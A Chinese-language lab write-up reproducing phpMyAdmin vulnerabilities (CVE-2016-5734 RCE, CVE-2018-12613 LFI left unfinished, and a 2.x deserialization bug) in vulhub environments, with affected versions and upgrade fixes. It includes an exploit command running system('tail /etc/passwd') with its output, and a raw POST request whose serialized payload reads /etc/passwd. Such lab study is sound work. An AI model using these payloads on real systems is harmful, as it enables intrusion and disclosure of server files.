phpmyadmin漏洞复现

简介

漏洞环境:不另作说明均为vulhub。

在网上发现一篇文章,比我的强太多太多:https://www.cnblogs.com/liliyuanshangcao/p/13815242.html#_label2_5

参考链接:

官网:https://www.phpmyadmin.net/

百科:https://baike.baidu.com/item/PhpMyAdmin/9624049?fr=aladdin

https://zhuanlan.zhihu.com/p/114184542

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

phpmyadmin相信大家都比较熟悉,因为它集成在PHP study工具中,安全人员为了实验或是搭靶场,该工具一般都使用过。

CVE-2016-5734(phpMyAdmin认证用户远程代码执行漏洞)

参考链接:

https://zgao.top/从cve-2016-5734分析由preg_replace引发的rce/

exp:https://www.exploit-db.com/download/40185

在PHP5.4.7以前,preg_replace的第一个参数可以利用进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。

漏洞影响版本:

  • 4.0.10.16之前4.0.x版本
  • 4.4.15.7之前4.4.x版本
  • 4.6.3之前4.6.x版本

漏洞复现

emm,这个网上已经有现成的exp了,但是是有利用条件的,除了符合版本要求外,还需要知道phpmyadmin用户名和密码,并指定数据库。

┌──(kali㉿kali)-[~/Desktop]
└─$ python3 40185 -u root -p root -d test http://your-ip:8080 -c 'system("tail /etc/passwd")'

/home/kali/Desktop/40185:60: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if resp.status_code is 200:
result: data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false

emm,知道phpmyadmin的用户名及密码的话,可操作性还是有的。

漏洞修复

  • 升级phpmyadmin的版本。

CVE-2018-12613(本地文件包含造成远程代码执行漏洞复现)

参考链接:

https://blog.csdn.net/qq_34444097/article/details/85264686

漏洞影响版本:

  • Phpmyadmin Phpmyadmin 4.8.0
  • Phpmyadmin Phpmyadmin 4.8.0.1
  • Phpmyadmin Phpmyadmin 4.8.1

漏洞复现

emm,这个漏洞的利用条件跟CVE-2016-5734有点像,都需要有phpmyadmin的账户和密码,先空。

漏洞修复

WooYun-2016-199433

参考链接:

https://blog.csdn.net/qq_41832837/article/details/110277824

phpmyadmin 2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。

漏洞影响版本:

  • phpmyadmin 2.x

漏洞复现

我在启动这个漏洞环境时会出现卡死现象,多尝试两次就好了。

启动环境,环境启动成功后,页面展示如下:

访问漏洞页面:http://your-ip:8080/scripts/setup.php,页面内容如下。

刷新页面,并使用burp拦截抓包,将请求方式GET 改为 POST,请求体内容为action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

如果不能复现,尝试在请求头中增加Content-Type: application/x-www-form-urlencoded字段。

POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded 
Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

漏洞修复

这个漏洞比较老了,我在测试别的漏洞的时候,发现phpmyadmin已经发布了5.1.1版本(2021年7月7日),所以,emmm。

  • 升级phpmyadmin版本
本博客虽然很垃圾,但所有内容严禁转载
原文地址:https://www.cnblogs.com/ahtoh/p/14982308.html